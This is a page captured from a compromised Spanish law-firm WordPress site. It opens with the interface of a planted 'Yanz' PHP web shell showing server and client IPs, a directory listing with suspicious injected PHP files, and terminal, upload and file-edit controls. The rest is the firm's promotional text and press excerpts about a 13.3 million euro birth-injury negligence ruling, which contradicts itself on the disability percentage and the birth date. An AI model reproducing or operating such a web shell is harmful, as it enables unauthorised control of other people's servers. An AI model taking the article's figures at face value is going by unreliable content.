Attention:
Uname:
Php:
Hdd:
Cwd:		Yanz Webshell! - PRIV8 WEB SHELL ORB YANZ BYPASS!
Linux localhost 3.10.0-1160.42.2.el7.x86_64 #1 SMP Tue Sep 7 14:49:57 UTC 2021 x86_64
8.2.33 Safe mode: OFF Datetime: 2026-08-08 18:56:19
77.46 GB Free: 47.46 GB (61%)
/var/www/vhosts/rafaelmartinbueno.es/httpdocs/ drwxr-x--- [ root ] [ home ] Text

Server IP:
82.223.216.149
Client IP:
216.73.217.153
[ Files ][ Logout ]

File manager

NameSizeModifyPermissionsActions
[ . ]dir2026-08-08 06:54:44drwxr-x---Rename Touch
[ .. ]dir2026-08-05 08:56:02drwx--x---Rename Touch
[ .tmb ]dir2026-04-21 12:35:38drwxrwxrwxRename Touch
[ .well-known ]dir2022-09-10 09:03:03drwxr-xr-xRename Touch
[ 69c99 ]dir2026-08-08 06:54:18drwxr-xr-xRename Touch
[ 734c6 ]dir2026-08-08 06:54:18drwxr-xr-xRename Touch
[ 8870d ]dir2026-08-08 06:54:18drwxr-xr-xRename Touch
[ 978d6 ]dir2026-08-08 06:54:18drwxr-xr-xRename Touch
[ c5028 ]dir2026-08-08 06:54:18drwxr-xr-xRename Touch
[ wp-admin ]dir2026-08-08 06:54:18drwxr-xr-xRename Touch
[ wp-content ]dir2026-08-08 18:56:19drwxr-xr-xRename Touch
[ wp-includes ]dir2026-08-08 18:56:19drwxr-xr-xRename Touch
.htaccess617 B2026-08-08 06:52:52-r--r--r--Rename Touch Edit Download
Abogado-Negligencias-Medicas-Rafael-Martin-Bueno.pluginlist.2020-10-14.txt4.16 KB2020-10-13 23:07:52-rw-rw-rw-Rename Touch Edit Download
accesson.php374 B2026-08-08 18:56:19-rw-r--r--Rename Touch Edit Download
adman.286.txt5 B2026-08-07 22:19:22-rw-r--r--Rename Touch Edit Download
adman.830.txt6 B2026-08-07 22:30:19-rw-r--r--Rename Touch Edit Download
adman.918.txt6 B2026-08-07 22:21:09-rw-r--r--Rename Touch Edit Download
adman.956.txt6 B2026-08-07 22:31:54-rw-r--r--Rename Touch Edit Download
backwpup_readme.txt271 B2020-10-13 23:07:52-rw-rw-rw-Rename Touch Edit Download
f8f65b53355c.php375 B2026-08-08 00:04:59-rw-r--r--Rename Touch Edit Download
googleaa145d4b548e5264.html53 B2020-10-13 23:07:52-rw-rw-rw-Rename Touch Edit Download
index.php3.14 KB2026-08-08 06:52:52-r--r--r--Rename Touch Edit Download
licencia.txt17.51 KB2020-10-13 23:07:52-rw-rw-rw-Rename Touch Edit Download
license.txt19.44 KB2026-08-06 20:11:18-rw-rw-rw-Rename Touch Edit Download
llms.txt1.67 KB2026-02-17 17:01:47-rw-rw-rw-Rename Touch Edit Download
manifest.json3.95 KB2020-10-13 23:07:52-rw-rw-rw-Rename Touch Edit Download
readme.html7.23 KB2026-08-06 20:11:18-rw-rw-rw-Rename Touch Edit Download
robots.txt130 B2023-02-26 10:09:57-rw-rw-rw-Rename Touch Edit Download
wp-activate.php7.20 KB2026-06-03 08:40:32-rw-rw-rw-Rename Touch Edit Download
wp-blog-header.php351 B2020-10-13 23:07:52-rw-rw-rw-Rename Touch Edit Download
wp-comments-post.php2.27 KB2024-02-26 18:03:44-rw-rw-rw-Rename Touch Edit Download
wp-conffq.php146.66 KB2026-08-08 06:35:47-rw-r--r--Rename Touch Edit Download
wp-config-sample.php3.26 KB2026-04-20 09:22:10-rw-rw-rw-Rename Touch Edit Download
wp-config.php2.43 KB2026-08-04 10:59:57-rw-------Rename Touch Edit Download
wp-cron.php5.49 KB2024-12-15 14:16:18-rw-rw-rw-Rename Touch Edit Download
wp-headre.php17.25 KB2026-07-03 06:09:25-rw-r--r--Rename Touch Edit Download
wp-links-opml.php2.43 KB2026-04-20 09:22:10-rw-rw-rw-Rename Touch Edit Download
wp-load.php3.84 KB2024-12-15 14:16:18-rw-rw-rw-Rename Touch Edit Download
wp-login.php50.66 KB2026-08-06 20:11:18-rw-rw-rw-Rename Touch Edit Download
wp-mail.php8.52 KB2026-04-20 09:22:10-rw-rw-rw-Rename Touch Edit Download
wp-settings.php31.88 KB2026-06-03 08:40:32-rw-rw-rw-Rename Touch Edit Download
wp-signup.php33.94 KB2026-08-06 20:11:18-rw-rw-rw-Rename Touch Edit Download
wp-trackback.php5.09 KB2026-04-20 09:22:10-rw-rw-rw-Rename Touch Edit Download
xmlrpc.php3.13 KB2025-05-06 20:04:23-rw-rw-rw-Rename Touch Edit Download
 
Change dir:
Read file:
Make dir: (Writeable)
Make file: (Writeable)
Terminal:
Upload file: (Writeable)

Abogado Negligencias Médicas – Rafael Martín Bueno –

«Vía libertad digital «

 

El menor padece una parálisis cerebral infantil de carácter grave con severa afectación cognitiva y tiene reconocido un 87 % de discapacidad.

 

Una jueza de Madrid ha emitido una sentencia histórica al establecer que una madre deberá ser indemnizada con una cantidad que asciende a los 13,3 millones de euros por las graves lesiones neurológicas que sufrió su hijo recién nacido. Este trágico desenlace fue consecuencia de una deficiente asistencia sanitaria durante el parto, un suceso que tuvo lugar el 17 de noviembre de 2019 en el Hospital de Sagunto, en la provincia de Valencia.

La resolución judicial, dictada por la magistrada de la Plaza 103 de la Sección Civil del Tribunal de Instancia de Madrid, condena de manera directa a las compañías aseguradoras de la ginecóloga y la matrona que atendieron a la paciente. Las empresas deberán hacer frente al pago de una indemnización principal de 6.106.275 euros que, al sumarle los intereses legales devengados desde la fecha de los hechos y las costas del procedimiento, alcanza el montante definitivo. El abogado de la demandante, Rafael Martín Bueno, subrayó que se trata de la mayor reparación económica concedida en España por un error de esta naturaleza.

Los hechos probados señalan que la mujer acudió al servicio de Urgencias del Hospital de Sagunto a las 6:31 horas del 16 de noviembre de 2019, encontrándose embarazada de cuarenta semanas de gestación. Pese a ello, el alumbramiento no se produjo hasta pasada la medianoche del día siguiente. La magistrada ha estimado íntegramente la demanda interpuesta, tras concluir que se produjeron importantes fallos en la vigilancia del bienestar fetal y una nula interpretación de las señales de alarma, lo que impidió a los facultativos adoptar a tiempo las decisiones clínicas necesarias.

Como resultado directo de esta falta de pericia, el niño nació en un estado de salud crítico. El recién nacido tuvo que ser trasladado de urgencia al Servicio de Neonatología para ser intubado y, posteriormente, derivado al Hospital Clínico, donde ingresó en la Unidad de Cuidados Intensivos aquejado de asfixia perinatal. En la actualidad, el menor padece una parálisis cerebral infantil de carácter grave, con severa afectación cognitiva y serias limitaciones en la comunicación comprensiva y expresiva. Ante este panorama clínico, tiene reconocido un 87 % de discapacidad, lo que le aboca a depender de cuidados constantes e ininterrumpidos durante toda su vida.

La sentencia hace especial hincapié en que la cifra indemnizatoria impuesta debe responder de manera precisa a las necesidades reales del menor. Para ello, el juzgado ha tenido en cuenta la asistencia continuada, los costosos tratamientos médicos y los múltiples apoyos diarios que precisará el paciente de por vida. En este sentido, la resolución no solo busca reparar el daño moral, sino garantizar la viabilidad económica de su cuidado.

En un comunicado público, el letrado Rafael Martín Bueno manifestó que este fallo judicial «refuerza la importancia de garantizar una adecuada vigilancia del bienestar fetal durante el parto y de actuar con rapidez ante cualquier signo de deterioro». Del mismo modo, el abogado recalca que la Justicia pone el foco en la imperiosa necesidad de asegurar que las víctimas de negligencias de este calibre cuenten con los recursos materiales necesarios para poder afrontar las duras consecuencias derivadas de una discapacidad de tan extrema gravedad.

 

 

Vía «Las Provincias»

El niño tiene graves secuelas tras las negligencias ocurridas en el hospital de Sagunto y el juez condena a la ginecóloga y la matrona a pagar la cuantía más alta de la historia.

 

Una familia de Massamagrell ha recibido una indemnización histórica de 13,3 millones de euros por las graves secuelas físicas y neurológicas que le ocasionaron a su hijo una serie de errores médicos en el momento del parto. El nacimiento se produjo en el hospital de Sagunto y ahora las aseguradoras de responsabilidad civil de la ginecóloga y de la matrona que la atendieron deberá pagar esa cuantía millonaria.

El pequeño Neizan, que nació en noviembre de 2019, tuvo falta de oxígeno y eso le ha ocasionado problemas neurológicos que han derivado en parálisis cerebral, retraso madurativo, epilepsia, problemas de visión y dificultades para alimentarse con normalidad. Como consecuencia el menor padece una parálisis cerebral infantil grave tipo tetraparesia espástica, afectación cognitiva y de la comunicación (comprensiva y expresiva) que le obliga a depender de cuidados constantes durante toda su vida.

El abogado que ha llevado el caso, Rafael Martín Bueno, asegura a LAS PROVINCIAS: «Es algo muy lamentable, la chica fue a dar a luz, ingresó en el hospital de Sagunto, se le monitorizó para controlar como estaba el feto, y dio unos 18 avisos el monitor de que algo iba mal. Pero ni la matrona ni la ginecóloga fueron a verlo», denuncia el letrado. «El niño ingresó bien, el registro era bueno, pero nació en parada cardiorrespiratoria, estuvo poco tiempo así, hasta que el pediatra lo consiguió reanimar, pero estuvo con falta de oxígeno y le ha ocasionado secuelas graves», añade.

El pequeño tiene un grado de discapacidad del 87% a causa de esta cadena de errores que han condicionado totalmente su vida. La sentencia se ha fallado en el Juzgado de Primera Instancia 103 de Madrid y supone la mayor indemnización registrada en España por una negligencia sanitaria. De forma subsidiaria, si las pólizas de las dos sanitarias responsables no alcanzan a cubrir esa cuantía de 13 millones de euros, será la Conselleria de Sanidad la que tenga que completar económicamente la indemnización. No obstante, a esta sentencia todavía cabe recurso de Apelación y de Casación.

El abogado Martín Bueno indica: «La matrona no escribió nada sobre estos registros del monitor. Eso le ocasiona un daño cerebral, en un cerebro inmaduro y le ocasiona secuelas, lesiones importantes. Es una pena que va a dar a luz en un hospital y que nadie se fije en el monitor, que se ponen para detectar problemas y tiene avisos sonoros», expone.

La sentencia estima íntegramente la demanda y concluye que durante el parto se produjeron fallos en la vigilancia del bienestar fetal y en la interpretación de las señales de alarma, lo que impidió adoptar a tiempo las decisiones médicas necesarias. La resolución subraya que la indemnización debe responder a las necesidades reales del menor, teniendo en cuenta la asistencia, tratamientos y apoyos que precisará durante toda su vida.

La sentencia obliga a las dos profesionales demandadas a pagar 6,1 millones de euros por la negligencia, que con los intereses por todos estos años alcanzan esa cifra superior a los 13 millones, que superan los 11 millones que hasta ahora eran la indemnización sanitaria más alta en este país.

En el desglose económico de la indemnización, la parte más alta es para la ayuda de una tercera persona que asista a Neizan, con un total de 2,72 millones, a los que se suman otras partidas como la adecuación de la vivienda, ya que el juez considera necesario comprar una (413.000 euros), ayudas técnicas con la compra de dos sillas (412.000 euros) y la rehabilitación domiciliaria (774.000 euros).

Vía «El Confidencial» 

El abogado de la demandante destaca que es la mayor indemnización concedida en España por este tipo de casos

 

Una jueza de Madrid ha establecido en una sentencia que una mujer debe ser indemnizada con 13.300.000 euros por las lesiones neurológicas sufridas por su hijo tras una deficiente asistencia sanitaria durante el parto el 17 de noviembre de 2019 en el Hospital de Sagunto (Valencia).

El abogado de la demandante, Rafael Martín Bueno, destaca que es la mayor indemnización concedida en España por una negligencia médica.

La resolución, dictada por la magistrada de la Plaza 103 de la Sección Civil del Tribunal de Instancia de Madrid, condena a las compañías aseguradoras de la ginecóloga y la matrona que intervinieron en el parto a pagar una indemnización de 6.106.275 euros más los intereses desde la fecha de los hechos y las costas del procedimiento.

La jueza estima íntegramente la demanda y concluye que durante el parto se produjeron fallos en la vigilancia del bienestar fetal y en la interpretación de las señales de alarma, lo que impidió adoptar a tiempo las decisiones médicas necesarias.

Como consecuencia, el menor padece una parálisis cerebral infantil grave con afectación cognitiva y de la comunicación comprensiva y expresiva que le obliga a depender de cuidados constantes durante toda su vida, al tener reconocido un 87% de discapacidad.

La resolución subraya que la indemnización debe responder a las necesidades reales del menor, teniendo en cuenta la asistencia, tratamientos y apoyos que precisará toda su vida.

La demandante acudió a las 6:31 horas del 16 de noviembre de 2019 al servicio de Urgencias del hospital de Sagunto embarazada de 40 semanas de gestación y el niño nació a las 00:05 horas del día siguiente «en un lamentable estado de salud«, por lo que fue llevado al Servicio de Neonatología intubado y luego trasladado al Hospital Clínico, donde ingresó en la UCI con asfixia perinatal.

En un comunicado, Martín Bueno subraya que esta resolución «refuerza la importancia de garantizar una adecuada vigilancia del bienestar fetal durante el parto y de actuar con rapidez ante cualquier signo de deterioro». Asimismo, destaca que la sentencia pone el foco en la necesidad de asegurar que las víctimas de este tipo de situaciones cuenten con los recursos necesarios para afrontar las consecuencias derivadas de una discapacidad tan grave.

Vía «El País» 

 

Un juez condena al Hospital de Sagunto por los daños neurológicos sufridos por un niño a causa de varios errores asistenciales encadenados

 

Thalía tiene 18 meses y gatea a toda velocidad por la cama en la que descansa su hermano Neizan, de seis años. La niña le abraza y da dos besos antes de mirar con una sonrisa radiante a quien graba la escena. “Lo adora. Con lo pequeñita que es, impresiona ver el cariño que le da y cómo lo mima. De alguna manera, es como si ya fuera consciente de todos los cuidados que él necesita”, explica Andrea Téllez mientras muestra, en el salón de la casa en la que vive con sus padres en Massamagrell (Valencia), las imágenes de sus dos hijos.

Neizan nació en el Hospital de Sagunto —público y dependiente de la Generalitat Valenciana—, en los primeros minutos de la madrugada del 18 de noviembre de 2019. El embarazo había transcurrido sin complicaciones y los primeros momentos del parto fueron tan convencionales que lo más destacable fue la ilusión nerviosa de una madre primeriza de 22 años. Muy pronto, sin embargo, el oxígeno empezó a llegar con dificultad al cerebro del bebé sin que el personal sanitario lo detectara ni tomara las decisiones adecuadas para remediarlo.

“El resultado fueron unas secuelas neurológicas gravísimas por hipoxia [falta de oxígeno] que han causado al niño parálisis cerebral, retraso madurativo, epilepsia, problemas de visión y dificultades para alimentarse con normalidad, entre otros daños. Tiene un grado de discapacidad reconocido del 87%”, explica Rafael Martín Bueno, el abogado que ha asesorado a la familia y ha logrado ahora la mayor indemnización por una negligencia médica dictada nunca en España.

Según la sentencia firmada el pasado 26 de marzo por el Juzgado de Primera Instancia 103 de Madrid, que aún puede ser recurrida, los padres de Neizan —hoy separados— serán indemnizados con 13,3 millones de euros, de los que 6.106.275 corresponden al capital y el resto a intereses de demora. Esta cifra supera los 11 millones que recibió Chloe en otro caso similar llevado por el mismo abogado. Las elevadas cuantías en estos procesos se explican porque buscan resarcir secuelas en bebés que requerirán asistencia especializada durante toda la vida, además de hogares y vehículos adaptados.

“Neizan necesita el dinero para crecer lo mejor posible”, resume la madre mientras expone las atenciones que ahora siente que no alcanza a cubrir. “Él va a la piscina una vez a la semana. Me gustaría llevarlo más días, pero no puedo porque son 50 euros la sesión. Luego también tiene terapia y logopeda. Una parte la cubre la ayuda a la dependencia, pero hacer todo lo que el niño necesita me costaría más de 800 euros al mes. Ahora mismo no puedo pagarlos”, lamenta.

Andrea, que tiene formación en cocina y servicios de hostelería, trabaja los fines de semana a doble turno en una gasolinera y un restaurante. “También necesitamos una furgoneta adaptada para que quepa su carro, pero son más de 10.000 euros solo los arreglos y tampoco los tengo. Y, lo más importante, la casa. Esta [dice mientras señala el salón] no es adaptable, nos ha dicho el arquitecto. Tiene tres pisos. El niño todavía pesa poco y por ahora puedo llevarlo en brazos, pero llegará un día que será inviable. Con la indemnización, espero poder ofrecerle a Neizan un entorno a su medida con todos los cuidados que requiere para su desarrollo”, reitera la madre.

La sentencia del caso describe con detalle lo ocurrido desde que Andrea ingresó en el Hospital de Sagunto a las 6:31 de la mañana del 16 de noviembre de 2019, 41 horas antes del nacimiento del niño. Tras las medidas rutinarias iniciales, los problemas surgieron debido a “la ausencia de control de las gráficas de monitorización fetal y una incorrecta interpretación de las mismas por la obstetra”, lo que hizo que “pasara inadvertida una hipoxia intraparto”.

Según sigue el fallo, a las 11 de la mañana ya eran evidentes “alteraciones del registro cardiotocográfico que se fueron agravando progresivamente”. En estas circunstancias, los protocolos establecen la necesidad de hacer una prueba diagnóstica para confirmar el bienestar fetal que consiste en analizar una muestra de sangre tomada de la parte superior de la cabeza del bebé. Algo que no se hizo: “A pesar de las graves alteraciones objetivadas en la gráfica de monitorización, sugestivas de hipoxia intraparto, no consta valoración alguna por parte de la matrona ni [que esta] llamara a la obstetra responsable para su valoración”, sigue la sentencia.

Un último error del equipo que asistió al parto fue intentar el uso de la ventosa para acelerar el nacimiento cuando el bebé aún “no había alcanzado el III plano de Hodge”. Esta es una medida utilizada por los ginecólogos y matronas para saber cuánto ha descendido la cabeza del feto por la pelvis de la madre. Neizan aún se encontraba en el II, en el que el uso de la ventosa está contraindicado.

Todo lo anterior, según el juez, “obligaba a la extracción fetal inmediata mediante cesárea”, una medida que se retrasó una y otra vez. Finalmente, a las 0:05 del 18 de noviembre, “nace un niño en un lamentable estado de salud”, con menos de 60 pulsaciones por minuto, sin respirar de forma natural y con la tensión arterial muy baja, recoge el fallo.

“Lo tuvieron que trasladar al Hospital Clínico de Valencia, donde pasó 35 días en la UCI. Cuando me desperté de la anestesia de la cesárea, lo primero que hice fue preguntar por él. Inicialmente me dijeron que estaba bien, pero cuando fui a Valencia y lo vi todo entubado, se me vino el mundo encima”, recuerda Andrea.

El abogado del caso destaca la sucesión de incidencias mal resueltas durante el proceso asistencial. “Resulta llamativo que el personal sanitario no fuera capaz de monitorizar correctamente el parto ni detectar a tiempo los problemas. Pero luego, además, tampoco supieron reaccionar ni tomar las decisiones correctas para solventarlos”, afirma Martín Bueno.

Óscar Martínez, presidente del Grupo Español de Seguridad Obstétrica (GESO), alerta de que estos problemas son más frecuentes en maternidades pequeñas. Según las memorias del Hospital de Sagunto, el centro atiende menos de dos nacimientos al día (unos 650 al año). “La evidencia confirma que, a menos partos atendidos, peores resultados en salud para la madre y el niño. Una maternidad pequeña tendrá siempre menos medios y un personal menos experimentado frente a las complicaciones que un gran hospital. En Francia, por ejemplo, tienden a cerrarse los servicios que atienden a menos de 1.000 partos al año”, explica.

El debate, admite este experto, no es sencillo, ya que “políticamente resulta muy complicado cerrar una maternidad. Todo el mundo quiere dar a luz al lado de casa, pero no debe olvidarse que las pequeñas son menos seguras”. Solo en algunas circunstancias, añade, “sí está justificado mantener abiertos servicios con pocos partos”. Sería el caso de las islas o lugares alejados de otro gran hospital, como Teruel, porque “el riesgo de que todas las mujeres a punto de dar a luz hagan un traslado largo en el último momento es mayor que el de mantener abierta una maternidad pequeña”. La GESO participa en estos casos en un programa, denominado Ángeles de Guardia, para mejorar los resultados en salud de estos centros.

Sagunto está a 30 kilómetros de Valencia y bien comunicada por autopista, recuerda Martínez. Hace un año se hizo público que la Generalitat indemnizó con 175.000 euros a los padres de otro niño fallecido por una mala asistencia en el parto en el mismo hospital en 2013. El Gobierno regional ha declinado ahora comentar la sentencia y si tiene previsto adoptar alguna medida para reforzar la asistencia en maternidades pequeñas.

 

 

Vía ABC

Madrid, 5 may (EFE).- Una jueza de Madrid ha establecido en una sentencia que una mujer debe ser indemnizada con 13.300.000 euros por las lesiones neurológicas sufridas por su hijo tras una deficiente asistencia sanitaria durante el parto el 17 noviembre de 2019 en el hospital de Sagunto (Valencia). El abogado de la demandante, Rafael Martín Bueno, destaca que es la mayor indemnización concedida en España por una negligencia médica. 

publicado por «El País»

El Juzgado de Primera Instancia 103 de Madrid condena al Hospital de Sagunto a la mayor indemnización por negligencia médica en España. Rafael Martín Bueno defiende con éxito a la familia de Neizan.


https://x.com/telediario_tve/status/2051404929672069373/photo/1

Una sentencia histórica del Juzgado de Primera Instancia número 103 de Madrid ha marcado un antes y un después en la jurisprudencia española sobre negligencias médicas. El Hospital de Sagunto, dependiente de la Generalitat Valenciana, ha sido condenado a pagar 13,3 millones de euros a la familia de Neizan, un niño que nació en noviembre de 2019 con secuelas neurológicas gravísimas derivadas de una hipoxia intraparto que pudo evitarse.

Esta indemnización récord, de la que 6,1 millones corresponden al capital y el resto a intereses de demora, supera a todas las sentencias anteriores en España por negligencia médica y representa no solo una victoria legal, sino también un reconocimiento del inmenso sufrimiento de una familia cuya vida cambió para siempre por errores médicos evitables.

¿Qué sucedió en el caso de neizan? La historia detrás de una indemnización récord

La familia de Neizan, residentes en la localidad valenciana de Massamagrell, acudió al Hospital de Sagunto en noviembre de 2019 con la ilusión de recibir a su hijo. Lo que debía ser uno de los momentos más felices de sus vidas se convirtió en una tragedia devastadora por una cadena de errores médicos.

Durante el parto, el oxígeno comenzó a llegar con problemas al cerebro del bebé. Las señales de sufrimiento fetal eran evidentes en la monitorización, pero no se tomaron las medidas oportunas ni con la rapidez necesaria. La demora en la toma de decisiones críticas y la falta de intervención médica adecuada provocaron que Neizan sufriera una hipoxia intraparto prolongada.

Las consecuencias fueron devastadoras: Neizan nació con secuelas neurológicas gravísimas que le han dejado una discapacidad del 100% para el resto de su vida. El niño requiere asistencia constante para todas sus necesidades básicas, cuidados especializados permanentes y tratamientos médicos de por vida.

Los errores médicos que cambiaron una vida

La sentencia judicial, contra la que cabe recurso, refrenda de manera contundente que cuando las constantes vitales del bebé comenzaron a deteriorarse, el equipo médico no actuó con la diligencia debida. Los errores identificados incluyen:

  • Retraso en identificar el sufrimiento fetal a pesar de las señales evidentes en la monitorización
  • Demora en la toma de decisiones críticas cuando el bebé comenzó a presentar signos de hipoxia
  • Falta de intervención médica urgente cuando la situación lo requería
  • Ausencia de aplicación de protocolos de emergencia ante el deterioro evidente del estado fetal
  • Retraso en la práctica de cesárea urgente que hubiera evitado las graves secuelas

Como resultado de estas negligencias, Neizan sufre hoy parálisis cerebral, daño cerebral severo, discapacidad motora grave y necesita ayuda constante para realizar cualquier actividad de su vida diaria.

Rafael Martín Bueno: La defensa que marcó la diferencia

El caso de Neizan ha sido llevado por Rafael Martín Bueno, abogado especializado en negligencias médicas con una trayectoria que incluye algunas de las sentencias más importantes de España en esta materia.

La representación legal de la familia no fue sencilla. Enfrentarse a un hospital público, con todos los recursos de la Generalitat Valenciana y sus equipos jurídicos, requiere no solo conocimientos técnicos profundos en derecho sanitario, sino también la capacidad de demostrar médica y legalmente que los errores cometidos fueron la causa directa de las graves secuelas del niño.

Rafael Martín Bueno ha explicado que Neizan presenta «unas secuelas neurológicas gravísimas por hipoxia», y que el objetivo de la demanda era conseguir la compensación económica necesaria para garantizar todos los cuidados, tratamientos y apoyos que el niño necesitará durante toda su vida.

Una defensa basada en la experiencia y el conocimiento técnico

La complejidad de casos como el de Neizan requiere un abogado que no solo domine el derecho sanitario, sino que también sea capaz de:

  • Analizar historiales clínicos complejos e identificar con precisión los errores médicos
  • Trabajar con peritos médicos de primer nivel que puedan acreditar la negligencia
  • Demostrar la relación causal entre los errores y las secuelas sufridas
  • Calcular indemnizaciones justas que cubran todas las necesidades presentes y futuras
  • Presentar pruebas contundentes que convenzan al tribunal

La sentencia obtenida no solo reconoce la negligencia cometida, sino que establece una indemnización que permitirá a la familia de Neizan afrontar los enormes costes de los cuidados especializados, tratamientos médicos, terapias, adaptaciones del hogar, equipamiento especializado y todo lo necesario para garantizar la mejor calidad de vida posible para el niño.

La indemnización más alta de la historia de España

Con 13,3 millones de euros, esta sentencia supera todos los precedentes anteriores en España por negligencia médica. La cuantía se desglosa de la siguiente manera:

  • 6,1 millones de euros en concepto de capital indemnizatorio
  • 7,2 millones de euros correspondientes a intereses de demora acumulados desde el nacimiento de Neizan en 2019

Esta indemnización récord refleja:

  1. La gravedad extrema de las secuelas: Neizan tiene una discapacidad del 100% y necesitará asistencia permanente toda su vida
  2. Los costes extraordinarios de por vida: Cuidadores especializados 24 horas, tratamientos médicos continuos, terapias, equipamiento adaptado
  3. El daño moral inmenso sufrido por el niño y su familia
  4. La pérdida total de autonomía y calidad de vida del menor
  5. El reconocimiento judicial de que estos daños fueron completamente evitables

¿Por qué una indemnización tan elevada?

Muchas personas se preguntan cómo se llega a una cifra de 13,3 millones de euros. La realidad es que cuando se calcula la indemnización en un caso de estas características, se tienen en cuenta múltiples factores:

Costes de cuidados especializados: Un niño con discapacidad del 100% necesita asistencia permanente. Esto supone contratar cuidadores profesionales 24 horas al día durante toda la vida del menor. Solo este concepto puede superar varios millones de euros.

Tratamientos médicos de por vida: Rehabilitación neurológica, fisioterapia, terapia ocupacional, logopedia, tratamientos farmacológicos, intervenciones quirúrgicas necesarias… Los costes médicos acumulados a lo largo de décadas son extraordinarios.

Adaptaciones y equipamiento: Silla de ruedas especializada, grúa de transferencia, cama articulada, sistemas de comunicación aumentativa, vehículo adaptado, adaptación completa de la vivienda familiar…

Pérdida de capacidad laboral futura: El niño nunca podrá trabajar ni ser autónomo económicamente.

Daño moral: El sufrimiento del menor y de toda su familia por una situación que pudo evitarse.

Intereses de demora: Desde 2019 hasta la fecha de la sentencia en 2026, han transcurrido 7 años. Los intereses de demora se acumulan desde el momento en que se produjo el daño.

Antecedentes: Otras sentencias históricas en negligencias médicas

El caso de Neizan se suma a una serie de sentencias históricas en España que reflejan la gravedad de las negligencias médicas en partos y la importancia de una defensa legal especializada.

Caso de Santiago de Compostela (2015): 13 millones de euros

En 2024, el Juzgado de Primera Instancia número 1 de Santiago de Compostela condenó a SegurCaixa Adeslas a pagar casi 13 millones de euros por una negligencia en el parto ocurrido en julio de 2015 en el Hospital La Rosaleda.

El bebé, que hoy tiene 9 años, sufre parálisis cerebral espástica, ceguera en ambos ojos, retraso severo en el desarrollo psicomotor, retraso mental, trastorno del lenguaje, trastorno de deglución severo y sordomudez, además de problemas respiratorios.

Los errores fueron similares: lenta reacción del equipo médico, falta de anestesista, uso de instrumentos inadecuados y una cesárea demasiado tardía.

Caso Chloe (2016): 11 millones de euros

Rafael Martín Bueno también defendió el caso de Chloe, una niña que nació en el Hospital 9 de Octubre de Valencia en septiembre de 2016 con una discapacidad del 100% tras una negligencia médica.

En este caso, la ginecóloga llegó tarde al parto, y la falta de intervención médica oportuna provocó que Chloe naciera en estado gravemente deprimido, sin esfuerzo respiratorio, debido a una hipoxia intraparto.

La sentencia del Juzgado de Primera Instancia número 44 de Madrid estableció una indemnización de casi 11 millones de euros (4,7 millones como compensación directa y más de 6 millones en intereses de demora).

Caso Sergio (2019): 5,86 millones de euros

En 2019, un hospital de Madrid fue condenado a pagar 5,86 millones de euros tras la negligencia en el parto de Sergio, un bebé que nació con daño cerebral severo.

Durante el proceso se comprobó que el ginecólogo a cargo se ausentó durante horas, lo que resultó en una monitorización inadecuada y un retraso en la intervención. El recién nacido sufrió una asfixia perinatal que dejó secuelas neurológicas permanentes.

La importancia de una defensa especializada en negligencias médicas

Casos como el de Neizan demuestran que no basta con tener razón: es imprescindible contar con un abogado especializado en negligencias médicas que sea capaz de:

1. Identificar la Negligencia Médica

No todos los malos resultados médicos son negligencias. Es necesario demostrar que hubo una actuación médica incorrecta, que esa actuación causó un daño y que existe una relación causal directa entre ambos.

Un abogado especializado sabe:

  • Analizar historiales clínicos complejos
  • Identificar desviaciones de la lex artis (práctica médica correcta)
  • Detectar protocolos que no se siguieron
  • Reconocer señales de alarma que no se atendieron

2. Trabajar con los mejores peritos médicos

En un caso de negligencia médica, el informe pericial es absolutamente fundamental. Rafael Martín Bueno trabaja con peritos médicos de máximo prestigio que pueden:

  • Analizar técnicamente la asistencia prestada
  • Determinar si hubo errores médicos
  • Establecer la relación causal entre los errores y las secuelas
  • Calcular las necesidades de cuidados futuros
  • Aportar informes que resistan el contradictorio judicial

3. Enfrentarse a poderosos equipos jurídicos

Los hospitales públicos cuentan con el respaldo de las administraciones autonómicas y del Estado. Las aseguradoras médicas tienen departamentos jurídicos especializados en minimizar indemnizaciones.

Enfrentarse a estos equipos requiere:

  • Conocimiento profundo del derecho sanitario
  • Experiencia en litigación compleja
  • Capacidad de resistir estrategias dilatorias
  • Determinación para llegar hasta el final

4. Calcular indemnizaciones justas

Una de las claves del éxito en estos casos es calcular correctamente todos los conceptos indemnizatorios:

  • Daño emergente (gastos médicos pasados y futuros)
  • Lucro cesante (pérdida de capacidad laboral)
  • Daño moral
  • Costes de cuidados especializados de por vida
  • Adaptaciones necesarias
  • Pérdida de calidad de vida

Rafael Martín Bueno y su equipo realizan un análisis exhaustivo de todas las necesidades presentes y futuras para garantizar que la indemnización sea realmente justa y permita a la familia afrontar todos los gastos que vendrán.

El impacto emocional en las familias

Más allá de los aspectos legales y económicos, casos como el de Neizan representan tragedias familiares devastadoras.

Los padres que acuden al hospital con la ilusión de recibir a su hijo se encuentran, de repente, con una realidad completamente diferente:

  • Un bebé con secuelas neurológicas graves para toda la vida
  • La necesidad de cuidados permanentes y especializados
  • El duelo por el hijo sano que esperaban
  • La reorganización completa de la vida familiar
  • El impacto económico de los tratamientos y cuidados
  • La lucha legal durante años para conseguir justicia

Como expresó el padre de Chloe en otro caso similar: «Es la victoria más amarga que te puedas imaginar». Aunque se gane el juicio y se obtenga una indemnización millonaria, nada puede reparar el daño sufrido ni devolver al niño la salud que perdió por errores médicos evitables.

¿Qué pueden hacer las familias afectadas?

Si has vivido una situación similar durante un parto o sospechas que tu hijo ha sufrido una negligencia médica, estos son los pasos que debes seguir:

1. Actúa Rápidamente

Los plazos para reclamar son limitados. En España, el plazo de prescripción para reclamar una negligencia médica es de 1 año desde que se conoce el daño y su relación con la asistencia médica recibida.

No dejes pasar el tiempo. Cuanto antes consultes con un abogado especializado, mejor.

2. Solicita la historia clínica completa

Es fundamental obtener toda la documentación médica:

  • Historia clínica completa del parto
  • Registros de monitorización fetal
  • Informes de enfermería
  • Hojas quirúrgicas (si hubo cesárea)
  • Informes de anestesia
  • Cualquier prueba o análisis realizado

La historia clínica es la prueba fundamental en estos casos.

3. Conserva toda la documentación

Guarda:

  • Informes médicos posteriores del bebé
  • Diagnósticos de las secuelas
  • Informes de discapacidad
  • Facturas de tratamientos y medicamentos
  • Cualquier documento relacionado con la atención médica

4. Consulta con un abogado especializado

No todos los abogados están preparados para llevar un caso de negligencia médica. Estos casos requieren:

  • Conocimientos médicos avanzados
  • Experiencia específica en derecho sanitario
  • Acceso a peritos médicos de prestigio
  • Capacidad para enfrentarse a grandes aseguradoras y administraciones públicas

Rafael Martín Bueno es uno de los abogados más especializados de España en negligencias médicas en partos, con un historial de sentencias millonarias que han cambiado la vida de las familias afectadas.

La responsabilidad de los centros sanitarios

